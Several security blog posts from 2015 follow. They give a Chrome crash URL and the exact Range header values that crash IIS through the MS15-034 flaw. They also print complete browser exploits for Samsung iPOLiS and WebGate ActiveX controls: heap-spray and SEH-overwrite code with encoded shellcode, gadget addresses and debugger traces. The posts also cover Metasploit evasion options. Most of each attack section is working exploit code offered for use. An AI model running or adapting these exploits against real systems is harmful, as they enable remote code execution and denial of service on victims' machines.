Wednesday, September 23, 2015

ChromeCrash: It is not 16 characters but 14!

16 characters can crash latest Chrome browser, there are many articles related to this DoS Vulnerability. Most of the articles state minimum required characters to crash is 16 but my tests show that 14 characters can trigger crash.
Those articles point to below URL
http://a/%%30%30

Tested with
ws://a/%%30%30
ws URI handler stands for WebSockets

One of the first bugs in Chrome uses one character (%) to crash, found by one of my friends Rishi Narang.

Tested on
Google Chrome45.0.2454.99 (Official Buildm (32-bit)
Revision8813113675a50e4f7e90fec49a3eb1796454618b-refs/branch-heads/2454@{#492}
OSWindows
List of IANA recognized URI Handlers can be found at
http://www.iana.org/assignments/uri-schemes/uri-schemes.xhtml

Friday, April 17, 2015

HTTP.sys Denial of Service (MS15-034/CVE-2015-1635)

The vulnerability is due to crafted HTTP request by passing large value in Range header, IIS fails to validate the value properly leading to Denial of Service (Unresponsive or Blue Screen of Death) and possible Code Execution.

To trigger the vulnerability request a resource which must be present on the IIS web server, say default files (welcome.png, iisstart.htm etc.)

Original PoC was posted on Pastebin
http://pastebin.com/raw.php?i=ypURDPc4

You can verify if Kernel-mode Caching is enabled (which is enabled by default) or not.
If IIS Manager is installed follow below steps.
IIS Manager -> Default Web Site -> Output Caching ->double click -> Edit Feature Settings (on top right)

To add Cache Rule, click on Add link on top right (no required though)


We can verify http parameters using command line(CLI).


I successfully tested and observed BSoD on Windows 7 SP1 IIS 7.5, default installation.
Following range header didn't lead to crash in my case.
Range: bytes=0-18446744073709551615
but
Range: bytes=18-18446744073709551615
will definitely lead to DoS, single HTTP request didn't lead to DoS in my tests. We have to atleast make 2 or 3 HTTP requests.

Auditing/Assessing IIS using script available on pastebin
Request
GET / HTTP/1.1
Host: 192.168.56.110
Range: bytes=0-18446744073709551615

Response
HTTP/1.1 416 Requested Range Not Satisfiable
Content-Type: text/html
Last-Modified: Tue, 02 Dec 2014 05:52:00 GMT
Accept-Ranges: bytes
ETag: "a0495b17f4dd01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
X-UA-Compatible: IE=EmulateIE7
Date: Fri, 17 Apr 2015 06:51:08 GMT
Content-Length: 362
Content-Range: bytes */689
[!!] Looks VULN

Error message "HTTP Error 416. The requested range is not satisfiable" indicates the IIS Web Server is Vulnerable.

Even if we request with valid resource(welcome.png) and range 0-18446744073709551615 we get response shown above with 416 status code but doesn't see BSoD or unresponsiveness.
GET /welcome.png HTTP/1.1

Blue Screen of Death
We can see a connection reset, junk response or no response from IIS server(will lead to multiple duplicate requests) indicating unresponsiveness or BSoD. Lets look at Wireshark traces showing these scenarios.
Connection Reset from IIS Server

GET /welcome.png HTTP/1.1
Host: 192.168.56.110
Range: bytes=18-18446744073709551615

Traceback (most recent call last):
  File "./ms15_034.py", line 27, in
    goodResp = client_socket.recv(1024)
socket.error: [Errno 104] Connection reset by peer

Junk Response (partial content)

This type of response will definitely lead to BSoD.
HTTP/1.1 206 Partial Content
Content-Type: image/png
Last-Modified: Tue, 02 Dec 2014 05:52:00 GMT
Accept-Ranges: bytes
ETag: "30df5f17f4dd01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
X-UA-Compatible: IE=EmulateIE7
?$? ?3s? ? ???$?h$z? B?Content-Range: bytes 18-429

No response from IIS Server (duplicate requests)
This scenario mostly leads to Unresponsiveness. PoC script might be stuck at request phase only
GET /welcome.png HTTP/1.1
Host: 192.168.56.110
Range: bytes=18-18446744073709551615

Successful attack will lead to BSoD, following are the error messages which I observed
IRQL_NOT_LESS_OR_EQUAL
PAGE_FAULT_IN_NONPAGED_AREA

We will see following error message once the Server comes up after recovering from BSoD.

No authentication required to trigger BSoD, Patch Immediately!!!

For more details
https://github.com/rapid7/metasploit-framework/pull/5150
https://isc.sans.edu/forums/diary/MS15034+HTTPsys+IIS+DoS+And+Possible+Remote+Code+Execution+PATCH+NOW/19583/

Samsung iPOLiS 1.12.2 ReadConfigValue Remote Code Execution (Heap Spray)


Both the commands given below will generate same payload but msfpayload will be discontinued from future metasploit releases.
root@kali-ucs:~# msfpayload windows/exec cmd=calc J                                                                         root@kali-ucs:~# msfvenom -p windows/exec cmd=calc -f js_le
%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0%u5a5f%u128b%u8deb%u6a5d%u8d01%ub285%u0000%u5000%u3168%u6f8b%uff87%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff%u6163%u636c%u4100
root@kali-ucs:~#

Selecting js_be option to mefvenom will throw "Big endian format selected for a non big endian payload" error.

Javascript shellcode can have null bytes.

<html>
<!--
Samsung iPOLiS 1.12.2 ReadConfigValue Remote Code Execution (heap spray)
CVE: 2015-0555
Author: Praveen Darshanam
http://blog.disects.com/2015/02/samsung-ipolis-1122-xnssdkdeviceipinsta.html
http://darshanams.blogspot.com/
Tested on Windows XP SP3 IE6/7
Thanks to Peter Van Eeckhoutte for his wonderfull exploit writing tutorials
-->
<object classid='clsid:D3B78638-78BA-4587-88FE-0537A0825A72' id='target'> </object> <script>
var shellcode = unescape('%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0%u5a5f%u128b%u8deb%u6a5d%u8d01%ub285%u0000%u5000%u3168%u6f8b%uff87%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff%u6163%u636c%u4100');
var bigblock = unescape('%u9090%u9090'); var headersize = 20; var slackspace = headersize + shellcode.length; while (bigblock.length < slackspace) bigblock += bigblock;
var fillblock = bigblock.substring(0,slackspace); var block = bigblock.substring(0,bigblock.length - slackspace); while (block.length + slackspace < 0x40000) block = block + block + fillblock;
var memory = new Array(); for (i = 0; i < 500; i++){ memory[i] = block + shellcode }
// SEH and nSEH will point to 0x06060606 // 0x06060606 will point to (nops+shellcode) chunk var hbuff = ""; for (i = 0; i <5000; i++) { hbuff += "\x06"; }
// trigget crash target.ReadConfigValue(hbuff);
</script> </html>

HTTP Evasions using Metasploit Framework

HTTP Evasions using metasploit module java_jre17_reflection_types. Below are the details of HTTP exploit which we will be using for our tests.
msf > info exploit/multi/browser/java_jre17_reflection_types
       Name: Java Applet Reflection Type Confusion Remote Code Execution
     Module: exploit/multi/browser/java_jre17_reflection_types
   Platform: Java, Linux, OSX, Windows
CVE: 2013-2423 (http://cvedetails.com/cve/2013-2423/)

Execute below commands to start using the exploit for launching attacks
msf > use exploit/multi/browser/java_jre17_reflection_types                                                          
msf exploit(java_jre17_reflection_types) >

Execute show options command to know what parameters need to be set before launching attack.
We need to set different options like destination IP/port, local IP/port and payload.

Following are different evasions which are supported by Metasploit.
msf exploit(java_jre17_reflection_types) > show evasion                                                              
Module evasion options:
   Name           : HTML::base64
   Current Setting: none
   Description    : Enable HTML obfuscation via an embeded base64 html object (IE 
      not supported) (accepted: none, plain, single_pad, double_pad, 
      random_space_injection)

   Name           : HTML::javascript::escape
   Current Setting: 0
   Description    : Enable HTML obfuscation via HTML escaping (number of iterations)

   Name           : HTML::unicode
   Current Setting: none
   Description    : Enable HTTP obfuscation via unicode (accepted: none, utf-16le, 
      utf-16be, utf-16be-marker, utf-32le, utf-32be)

   Name           : HTTP::chunked
   Current Setting: false
   Description    : Enable chunking of HTTP responses via "Transfer-Encoding: 
      chunked"

   Name           : HTTP::compression
   Current Setting: none
   Description    : Enable compression of HTTP responses via content encoding 
      (accepted: none, gzip, deflate)

   Name           : HTTP::header_folding
   Current Setting: false
   Description    : Enable folding of HTTP headers

   Name           : HTTP::junk_headers
   Current Setting: false
   Description    : Enable insertion of random junk HTTP headers

   Name           : HTTP::server_name
   Current Setting: Apache
   Description    : Configures the Server header of all outgoing replies

   Name           : TCP::max_send_size
   Current Setting: 0
   Description    : Maximum tcp segment size.  (0 = disable)

   Name           : TCP::send_delay
   Current Setting: 0
   Description    : Delays inserted before every send.  (0 = disable)
msf exploit(java_jre17_reflection_types) >

To select any evasion execute command similar to
msf exploit(java_jre17_reflection_types) > set evasion_name parameter
e.g.
msf exploit(java_jre17_reflection_types) > set HTTP::compression gzip


base64
Encode HTML page with base64, payload is not delivered in this case.
Base64 is binary-to-text encoding scheme that represent binary data in an ASCII string format by translating it into a radix-64 representation.


http://www.hcidata.info/base64.htm

javascript escape (iteration 1)
Insert unescape function into HTML page.
escape() function is used to encode string for portability reasons so it can be transmitted across networks and computers. unescape() function decodes an encoded string.

String Encoding: document.write(escape("Escape Function!"));
Output of Above Code: Escape%20Function%21

String Encoding: document.write(unescape("Escape%u20Function%u21"));
Output of Above Code: Escape Function!



unicode (utf16-be)
Unicode provides a unique number for every character, no matter what the platform, no matter what the program, no matter what the language.

For more info on Unicode
http://unicode.org/standard/WhatIsUnicode.html

chunked
Instead of "Content-Length" header, HTTP response will have "Transfer-Encoding" and data is sent in chunks whose size is mentioned at the start of the HTTP response data.



compression (gzip)
The process of reducing data size is known as “data compression”. GZIP performs best on text-based data say, CSS, JavaScript, HTML, most of the browsers support GZIP compression. For GZIP compression intricacies, refer this Youtube link.



Header Folding
Insert characters like space(\x20), horizontal tab(\x09) etc. between headers.
From RFC 2616,
        HTTP/1.1 header field values can be folded onto multiple lines if the continuation
        line begins with a space or horizontal tab. All linear white space, including folding,
        has the same semantics as SP. A recipient MAY replace any linear white space
        with a single SP before interpreting the field value or forwarding the message
        downstream.


Junk Headers
Insert invalid headers into the HTTP response.



TCP max_send_size
Metasploit doesn't send packets with segment size of  8 bytes when max_send_size is set to 8. In the normal attack scenario we were sending 30 to 40 packets but in this evasion type we send 80 packets.

TCP send_delay
TCP Delay, not sure the value passed is micro seconds or seconds, we doesn't see any delay between packets.

Saturday, March 28, 2015

CVE-2015-2094: WebGate WinRDS WESPPlayback.WESPPlaybackCtrl.1 StopSiteAllChannel Stack Buffer Overflow Remote Code Execution Vulnerability (0Day)

During PoC testing, to check stack alignment with below assignment
nseh = "DDDD";
var seh = "EEEE";

Process attachProcess attachProcess attach end(3eb4.39f8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000e20 ebx=00000041 ecx=0329fc34 edx=00002711 esi=77c50041 edi=020bf1e0
eip=77c1dcbf esp=020bf178 ebp=020bf1a0 iopl=0         nv up ei ng nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210297
msvcrt!__wcstombs_mt+0x56:
77c1dcbf 881c07          mov     byte ptr [edi+eax],bl      ds:0023:020c0000=4d
0:008> !exchain
020bf260: 45454545
Invalid exception stack at 44444444
0:008> d 020bf260
020bf260  44 44 44 44 45 45 45 45-90 90 90 90 90 90 90 90  DDDDEEEE........
020bf270  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
020bf280  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
020bf290  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
020bf2a0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
020bf2b0  90 90 90 90 90 90 90 90-41 41 41 41 41 41 41 41  ........AAAAAAAA
020bf2c0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
020bf2d0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0:008> d fs:[0]
003b:00000000  60 f2 0b 02 00 00 0c 02-00 00 0b 02 00 00 00 00 `...............
003b:00000010  00 1e 00 00 00 00 00 00-00 60 fd 7f 00 00 00 00 .........`......
003b:00000020  b4 3e 00 00 f8 39 00 00-00 00 00 00 00 00 00 00 .>...9..........
003b:00000030  00 80 fd 7f 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000040  f0 3c 24 e1 00 00 00 00-00 00 00 00 00 00 00 00 .<$.............
003b:00000050  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000060  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000070  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................


 Module info :
---------------------------------------------------------------------------------
 Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll | Version, Modulename & Path
---------------------------------------------------------------------------------
 0x00870000 | 0x00ffa000 | 0x0078a000 | True   | True    | False |  False   | True   | 6.0.1 [IPPDecoder.dll] (C:\WINDOWS\system32\WESPSDK\IPPDecoder.dll)
 0x10000000 | 0x100e0000 | 0x000e0000 | False  | False   | False |  False   | True   | 1.6.42.0 [WESPPlayback.dll]
0x1007f29e : pop ebx # retn # pop esi # xor al,al # pop ebx # retn |  {PAGE_EXECUTE_READ} [WESPPlayback.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v1.6.42.0 (C:\WINDOWS\system32\WESPSDK\WESPPlayback.dll)

Final Exploit

<html>
<title>WebGate WinRDS WESPPlayback.WESPPlaybackCtrl.1 StopSiteAllChannel Stack Buffer Overflow Vulnerability (0Day)</title>
<!--
targetFile = "C:\WINDOWS\system32\WESPSDK\WESPPlayback.dll"
prototype  = "Sub StopSiteAllChannel ( ByVal SiteSerialNumber As String )"
progid     = "WESPPLAYBACKLib.WESPPlaybackCtrl"
Vulnerable Product = WinRDS 2.0.8
Software = http://www.webgateinc.com/wgi/eng/index.php?svc_name=product&amCode=C029&asCode=C039&ec_idx1=P040&ptype=view&page=&p_idx=36
-->
<object classid='clsid:4E14C449-A61A-4BF7-8082-65A91298A6D8' id='ssac'>
</object>
<script>

var buff1 = "";
var nops = "";
var buff2 = "";

for (i=0;i<128; i++)
{
 buff1 += "B";
}

nseh = "\xeb\x08PD";
var seh = "\xa0\xf2\x07\x10";
for (i=0;i<80; i++)
{
 nops += "\x90";
}
sc = "\x54\x5d\xda\xc9\xd9\x75\xf4\x59\x49\x49\x49\x49\x49" +
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30" +
"\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30" +
"\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42" +
"\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a" +
"\x49\x4b\x4c\x5a\x48\x4b\x32\x45\x50\x55\x50\x43\x30" +
"\x53\x50\x4b\x39\x4d\x35\x30\x31\x4f\x30\x52\x44\x4c" +
"\x4b\x56\x30\x46\x50\x4c\x4b\x31\x42\x34\x4c\x4c\x4b" +
"\x31\x42\x44\x54\x4c\x4b\x32\x52\x47\x58\x54\x4f\x38" +
"\x37\x50\x4a\x37\x56\x46\x51\x4b\x4f\x4e\x4c\x57\x4c" +
"\x35\x31\x33\x4c\x33\x32\x46\x4c\x37\x50\x49\x51\x48" +
"\x4f\x34\x4d\x45\x51\x4f\x37\x4d\x32\x4a\x52\x36\x32" +
"\x46\x37\x4c\x4b\x36\x32\x32\x30\x4c\x4b\x30\x4a\x37" +
"\x4c\x4c\x4b\x30\x4c\x32\x31\x54\x38\x5a\x43\x51\x58" +
"\x33\x31\x4e\x31\x30\x51\x4c\x4b\x36\x39\x47\x50\x53" +
"\x31\x48\x53\x4c\x4b\x30\x49\x35\x48\x5a\x43\x36\x5a" +
"\x57\x39\x4c\x4b\x46\x54\x4c\x4b\x33\x31\x49\x46\x56" +
"\x51\x4b\x4f\x4e\x4c\x49\x51\x38\x4f\x54\x4d\x35\x51" +
"\x58\x47\x37\x48\x4d\x30\x34\x35\x4a\x56\x43\x33\x43" +
"\x4d\x5a\x58\x37\x4b\x43\x4d\x46\x44\x43\x45\x4d\x34" +
"\x56\x38\x4c\x4b\x56\x38\x31\x34\x43\x31\x4e\x33\x42" +
"\x46\x4c\x4b\x44\x4c\x30\x4b\x4c\x4b\x36\x38\x45\x4c" +
"\x45\x51\x4e\x33\x4c\x4b\x54\x44\x4c\x4b\x33\x31\x48" +
"\x50\x4c\x49\x57\x34\x36\x44\x51\x34\x51\x4b\x51\x4b" +
"\x33\x51\x30\x59\x50\x5a\x36\x31\x4b\x4f\x4b\x50\x31" +
"\x4f\x51\x4f\x51\x4a\x4c\x4b\x42\x32\x5a\x4b\x4c\x4d" +
"\x31\x4d\x53\x5a\x35\x51\x4c\x4d\x4c\x45\x58\x32\x43" +
"\x30\x53\x30\x55\x50\x56\x30\x42\x48\x50\x31\x4c\x4b" +
"\x42\x4f\x4d\x57\x4b\x4f\x59\x45\x4f\x4b\x5a\x50\x48" +
"\x35\x4f\x52\x30\x56\x53\x58\x4e\x46\x5a\x35\x4f\x4d" +
"\x4d\x4d\x4b\x4f\x38\x55\x47\x4c\x53\x36\x33\x4c\x45" +
"\x5a\x4b\x30\x4b\x4b\x4b\x50\x43\x45\x43\x35\x4f\x4b" +
"\x47\x37\x32\x33\x53\x42\x42\x4f\x42\x4a\x55\x50\x46" +
"\x33\x4b\x4f\x49\x45\x43\x53\x53\x51\x52\x4c\x52\x43" +
"\x36\x4e\x55\x35\x44\x38\x33\x55\x33\x30\x41\x41";
for (i=0;i<(5000 - (buff1.length + nseh.length + seh.length + nops.length + sc.length)); i++)
{
 buff2 += "A";
}

fbuff = buff1 + nseh + seh + nops + sc + buff2;
ssac.StopSiteAllChannel(fbuff);

</script>
</html>

Refer below link for other WebGate exploit
http://blog.disects.com/2015/03/webgate-edvr-manager.html

Wednesday, March 25, 2015

WebGate eDVR Manager WESPMonitor.WESPMonitorCtrl LoadImage Stack Buffer Overflow Remote Code Execution (CVE-2015-2097)


WEBGATE Embedded Standard Protocol (WESP) SDK has multiple Remote Code Execution Vulnerabilities in different ActiveX controls.

Use below mona command to find pop pop ret address which creates findwild.txt at C:\Program Files\Immunity Inc\Immunity Debugger
!mona findwild -s "pop r32#*#pop r32#*#ret"

Snip of findwild.txt (addresses which I tried to use)
0x10079740 : pop esi # xor al,al # pop ebx # retn |  {PAGE_EXECUTE_READ} [WESPMonitor.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v1.6.42.0 (C:\WINDOWS\system32\WESPSDK\WESPMonitor.dll)
0x100580bd : pop ebp # pop ebx # mov dword ptr fs:[0],ecx # add esp,34 # retn |  {PAGE_EXECUTE_READ} [WESPMonitor.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v1.6.42.0 (C:\WINDOWS\system32\WESPSDK\WESPMonitor.dll)
0x1007973e : pop ebx # retn # pop esi # xor al,al # pop ebx # retn |  {PAGE_EXECUTE_READ} [WESPMonitor.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v1.6.42.0 (C:\WINDOWS\system32\WESPSDK\WESPMonitor.dll)
0x1001a561 : pop ebp # mov byte ptr ds:[edx+c],1 # mov al,1 # pop ebx # retn |  {PAGE_EXECUTE_READ} [WESPMonitor.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v1.6.42.0 (C:\WINDOWS\system32\WESPSDK\WESPMonitor.dll)
0x10014771 : pop ebx # pop ebp # retn | ascii {PAGE_EXECUTE_READ} [WESPMonitor.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v1.6.42.0 (C:\WINDOWS\system32\WESPSDK\WESPMonitor.dll)
0x7c915242 : pop edi # pop esi # pop ebx # pop ebp # retn |  {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ntdll.dll)

I was trying to pick calc.exe shellcode from previous exploits which somehow didn't work, might be due to presence of bad characters (assuming) so ended up in generating payload using Metasploit.


To Make sure we are pointing to shellcode modify nseh = "\xeb\x10\x90\x90"
to nseh = "\xcc\xcc\xeb\x10";
where \xcc is an opcode which acts as breakpoint.

Following "pop pop ret" address always getting modified to a different address and seeing below error in WinDBG.
0013df5c: WESPMonitor!CxImage::`copy constructor closure'+13d20 (10073f40)

0x10079740 changes to 0x10073f40
0x100580bd changes to 0x10053fbd
0x1007973e  changes to  0x10073f3e
0x7c915242  changes to  0x7c3f5242 in ntdll

After few trial and error method found below address which doesn't have problem mentioned above might be due to the bad character issue where application is considering \x80 to \x9f as bad!
0x1001a561
0x10014771
Bad characters might cause issues while executing shellcode, those characters can be found using below technique.
http://blog.disects.com/2014/04/exploitation-identifying-bad-characters.html

>u 10079740 
10079740 5e              pop     esi
10079741 32c0            xor     al,al
10079743 5b              pop     ebx
10079744 c3              ret

Final Exploit

<html>
<!--
targetFile = "C:\Windows\System32\WESPSDK\WESPMonitor.dll"
prototype  = "Sub LoadImage ( ByVal bstrFullPath As String )"
memberName = "LoadImage"
progid     = "WESPMONITORLib.WESPMonitorCtrl"
argCount   = 1
-->

<object classid='clsid:B19147A0-C2FD-4B1F-BD20-3A3E1ABC4FC3' id='target'>
</object>
<script>
var arg1 = "";
nops = "";
var buff = "";

for(i=0;i<268;i++)
{
 arg1 += "B";
}

nseh = "\xeb\x10\x90\x90";  //jmp over addr
seh = "\x71\x47\x01\x10";  //pop pop ret addr
document.write("</br>"+"Lengths: arg1="+arg1.length+" seh="+seh.length+"</br>");

for(i=0;i<200;i++)
{
 nops += "\x90";
}

//bad cahrs = 80,82-89, 8a 8b 8c, 8e, 91-99, 9a 9b 9c 9e 9f
sc = "\x54\x5d\xda\xc9\xd9\x75\xf4\x59\x49\x49\x49\x49\x49" +
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30" +
"\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30" +
"\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42" +
"\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a" +
"\x49\x4b\x4c\x5a\x48\x4b\x32\x45\x50\x55\x50\x43\x30" +
"\x53\x50\x4b\x39\x4d\x35\x30\x31\x4f\x30\x52\x44\x4c" +
"\x4b\x56\x30\x46\x50\x4c\x4b\x31\x42\x34\x4c\x4c\x4b" +
"\x31\x42\x44\x54\x4c\x4b\x32\x52\x47\x58\x54\x4f\x38" +
"\x37\x50\x4a\x37\x56\x46\x51\x4b\x4f\x4e\x4c\x57\x4c" +
"\x35\x31\x33\x4c\x33\x32\x46\x4c\x37\x50\x49\x51\x48" +
"\x4f\x34\x4d\x45\x51\x4f\x37\x4d\x32\x4a\x52\x36\x32" +
"\x46\x37\x4c\x4b\x36\x32\x32\x30\x4c\x4b\x30\x4a\x37" +
"\x4c\x4c\x4b\x30\x4c\x32\x31\x54\x38\x5a\x43\x51\x58" +
"\x33\x31\x4e\x31\x30\x51\x4c\x4b\x36\x39\x47\x50\x53" +
"\x31\x48\x53\x4c\x4b\x30\x49\x35\x48\x5a\x43\x36\x5a" +
"\x57\x39\x4c\x4b\x46\x54\x4c\x4b\x33\x31\x49\x46\x56" +
"\x51\x4b\x4f\x4e\x4c\x49\x51\x38\x4f\x54\x4d\x35\x51" +
"\x58\x47\x37\x48\x4d\x30\x34\x35\x4a\x56\x43\x33\x43" +
"\x4d\x5a\x58\x37\x4b\x43\x4d\x46\x44\x43\x45\x4d\x34" +
"\x56\x38\x4c\x4b\x56\x38\x31\x34\x43\x31\x4e\x33\x42" +
"\x46\x4c\x4b\x44\x4c\x30\x4b\x4c\x4b\x36\x38\x45\x4c" +
"\x45\x51\x4e\x33\x4c\x4b\x54\x44\x4c\x4b\x33\x31\x48" +
"\x50\x4c\x49\x57\x34\x36\x44\x51\x34\x51\x4b\x51\x4b" +
"\x33\x51\x30\x59\x50\x5a\x36\x31\x4b\x4f\x4b\x50\x31" +
"\x4f\x51\x4f\x51\x4a\x4c\x4b\x42\x32\x5a\x4b\x4c\x4d" +
"\x31\x4d\x53\x5a\x35\x51\x4c\x4d\x4c\x45\x58\x32\x43" +
"\x30\x53\x30\x55\x50\x56\x30\x42\x48\x50\x31\x4c\x4b" +
"\x42\x4f\x4d\x57\x4b\x4f\x59\x45\x4f\x4b\x5a\x50\x48" +
"\x35\x4f\x52\x30\x56\x53\x58\x4e\x46\x5a\x35\x4f\x4d" +
"\x4d\x4d\x4b\x4f\x38\x55\x47\x4c\x53\x36\x33\x4c\x45" +
"\x5a\x4b\x30\x4b\x4b\x4b\x50\x43\x45\x43\x35\x4f\x4b" +
"\x47\x37\x32\x33\x53\x42\x42\x4f\x42\x4a\x55\x50\x46" +
"\x33\x4b\x4f\x49\x45\x43\x53\x53\x51\x52\x4c\x52\x43" +
"\x36\x4e\x55\x35\x44\x38\x33\x55\x33\x30\x41\x41";

for(i=0;i<(4000-(arg1.length + seh.length + nseh.length + nops.length+ sc.length));i++)
{
 buff += "A";
}

// [ Junk buffer ][ next SEH ][ SE Handler ][ Shellcode ]
fbuff = arg1 + nseh + seh + nops + sc  + buff;
target.LoadImage(fbuff);

</script>
</html>

Below is the stack trace at first point exception
(33c.6d8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000f41 ebx=001b012c ecx=020fe0b1 edx=02100000 esi=020fd218 edi=00001f42
eip=1004ae5b esp=020fd218 ebp=020ff280 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210206
*** WARNING: Unable to verify checksum for C:\WINDOWS\System32\WESPSDK\WESPMonitor.dll
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\System32\WESPSDK\WESPMonitor.dll - 
WESPMonitor!DllUnregisterServer+0x2094b:
1004ae5b 8802            mov     byte ptr [edx],al          ds:0023:02100000=4d
0:008> !exchain
020ff274: WESPMonitor!CAudioRenderer::CloseAudio+11a61 (10014771)
Invalid exception stack at 909010eb
0:008> d fs:[0]
003b:00000000  74 f2 0f 02 00 00 10 02-00 00 0f 02 00 00 00 00 t...............
003b:00000010  00 1e 00 00 00 00 00 00-00 50 fd 7f 00 00 00 00 .........P......
003b:00000020  3c 03 00 00 d8 06 00 00-00 00 00 00 00 00 00 00 <...............
003b:00000030  00 e0 fd 7f 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000040  70 98 8e e1 00 00 00 00-00 00 00 00 00 00 00 00 p...............
003b:00000050  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000060  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000070  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0:008> u 10014771
WESPMonitor!CAudioRenderer::CloseAudio+0x11a61:
10014771 5b              pop     ebx
10014772 5d              pop     ebp
10014773 c3              ret
0:008> d 020ff274
020ff274  eb 10 90 90 71 47 01 10-90 90 90 90 90 90 90 90  ....qG..........
020ff284  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
020ff294  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
020ff2a4  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
020ff2b4  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
020ff2c4  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
020ff2d4  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
020ff2e4  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

If you continue execution after first chance exception we will be greeted with a calculator :-)

This exploit is tested on Windows XP SP3 with IE6, IE7 and IE8.
This is tested and successfully executed when DEP is enabled.

This post is incomplete if I don't thank Peter Van Eeckhoutte aka corelanc0d3r.

Next, DEP bypass!!

Metasploit: Database not connected or cache not built, using slow search

We can search metasploit modules using search command with various options but we frequently come accross error "Database not connected or cache not built, using slow search". Follow below steps to solve the issue.

msf > search cve:2015-0255                                                                      
[!] Database not connected or cache not built, using slow search

Postgresql service status when not running
root@kali-praveend:/# service postgresql status
Running clusters:

root@kali-praveend:/# service metasploit status
[FAIL] Metasploit rpc server is not running ... failed!
[FAIL] Metasploit web server is not running ... failed!
[FAIL] Metasploit worker is not running ... failed!

root@kali-praveend:/# service metasploit start                                                    
[FAIL] Postgresql must be started before Metasploit ... failed!

root@kali-praveend:/# service postgresql start                                                    
[ ok ] Starting PostgreSQL 9.1 database server: main.

root@kali-praveend:/# service postgresql status                                                                                       Running clusters: 9.1/main

root@kali-praveend:/# service metasploit start
[ ok ] Starting Metasploit rpc server: prosvc.
[ ok ] Starting Metasploit web server: thin.
[ ok ] Starting Metasploit worker: worker.

msf > db_status                                                                                      
[*] postgresql connected to msf3

msf > db_rebuild_cache            
[*] Purging and rebuilding the module cache in the background...
msf >

Now we should not see the error.

Friday, March 6, 2015

Web Server/HTTP Fuzzer

Was searching for basic HTTP/Web Server Fuzzer but could not find one.
So ended by writing this quick dirty Fuzzer.

Features

Supports 40 different Request Methods
